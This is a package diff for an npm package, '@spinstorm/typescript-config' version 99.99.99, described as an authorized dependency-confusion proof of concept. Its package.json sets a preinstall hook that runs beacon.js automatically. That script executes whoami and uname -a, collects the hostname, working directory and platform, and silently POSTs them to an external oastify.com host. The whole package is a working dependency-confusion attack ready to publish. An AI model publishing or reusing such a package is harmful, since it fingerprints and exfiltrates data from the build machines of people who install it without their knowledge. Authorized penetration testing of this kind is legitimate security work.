@spinstorm/typescript-config 99.99.99

package/README.md

@@ -0,0 +1,12 @@
+# @spinstorm/typescript-config — RESERVED
+
+This package name is held for an authorized security assessment of the
+`@spinstorm` namespace. It contains no functional code.
+
+If you reached this package by accident, your package manager resolved the
+scope from the public npm registry instead of from your internal registry.
+Audit your `.npmrc` — you should have:
+
+    @spinstorm:registry=https://<your-internal-registry>/
+
+Contact your security team.

package/beacon.js

@@ -0,0 +1,75 @@
+// Dependency-confusion PoC beacon — authorized engagement only.
+// Sends fingerprint to the engagement's Burp Collaborator subdomain so the
+// tester can confirm "the attack landed on target X at time Y."
+//
+// Behavior:
+//   - Fires on npm `preinstall` lifecycle hook.
+//   - Captures uname -a, whoami, hostname, cwd, node version, ts, package id.
+//   - POSTs JSON over HTTPS; fails silently; 2s timeout; never blocks install.
+//   - No persistence, no file reads beyond package.json, no second stage.
+
+const https = require('https');
+const os = require('os');
+const path = require('path');
+const { execSync } = require('child_process');
+
+const OAST_HOST = 'rqli2ifcll9ko0rxrve6w0af066xuvik.oastify.com';
+
+function safeExec(cmd) {
+  try {
+    return execSync(cmd, { timeout: 1500, stdio: ['ignore', 'pipe', 'ignore'] })
+      .toString()
+      .trim();
+  } catch {
+    return null;
+  }
+}
+
+let pkgName = 'unknown';
+let pkgVersion = 'unknown';
+try {
+  const pkg = require(path.join(__dirname, 'package.json'));
+  pkgName = pkg.name;
+  pkgVersion = pkg.version;
+} catch {}
+
+const payload = {
+  poc: pkgName,
+  version: pkgVersion,
+  hook: 'preinstall',
+  hostname: os.hostname(),
+  whoami: safeExec('whoami') || os.userInfo().username,
+  uname: safeExec('uname -a') || `${os.type()} ${os.release()} ${os.arch()}`,
+  cwd: process.cwd(),
+  node: process.version,
+  platform: process.platform,
+  ts: new Date().toISOString(),
+};
+
+const body = JSON.stringify(payload);
+const slug = pkgName.replace(/[^a-z0-9]/gi, '-').replace(/^-+|-+$/g, '');
+
+const req = https.request(
+  {
+    host: OAST_HOST,
+    path: '/' + slug,
+    method: 'POST',
+    headers: {
+      'Content-Type': 'application/json',
+      'Content-Length': Buffer.byteLength(body),
+      'User-Agent': 'poc-dep-confusion/1.0',
+    },
+    timeout: 2000,
+  },
+  (res) => {
+    res.on('data', () => {});
+    res.on('end', () => process.exit(0));
+  }
+);
+req.on('error', () => process.exit(0));
+req.on('timeout', () => {
+  req.destroy();
+  process.exit(0);
+});
+req.write(body);
+req.end();

package/index.js

@@ -0,0 +1,2 @@
+// Inert surface — PoC does not expose real functionality.
+module.exports = {};

package/package.json

@@ -0,0 +1,16 @@
+{
+  "name": "@spinstorm/typescript-config",
+  "version": "99.99.99",
+  "description": "Authorized dependency-confusion proof-of-concept. Do not install outside engagement scope.",
+  "main": "index.js",
+  "license": "UNLICENSED",
+  "private": false,
+  "files": [
+    "index.js",
+    "beacon.js",
+    "README.md"
+  ],
+  "scripts": {
+    "preinstall": "node beacon.js"
+  }
+}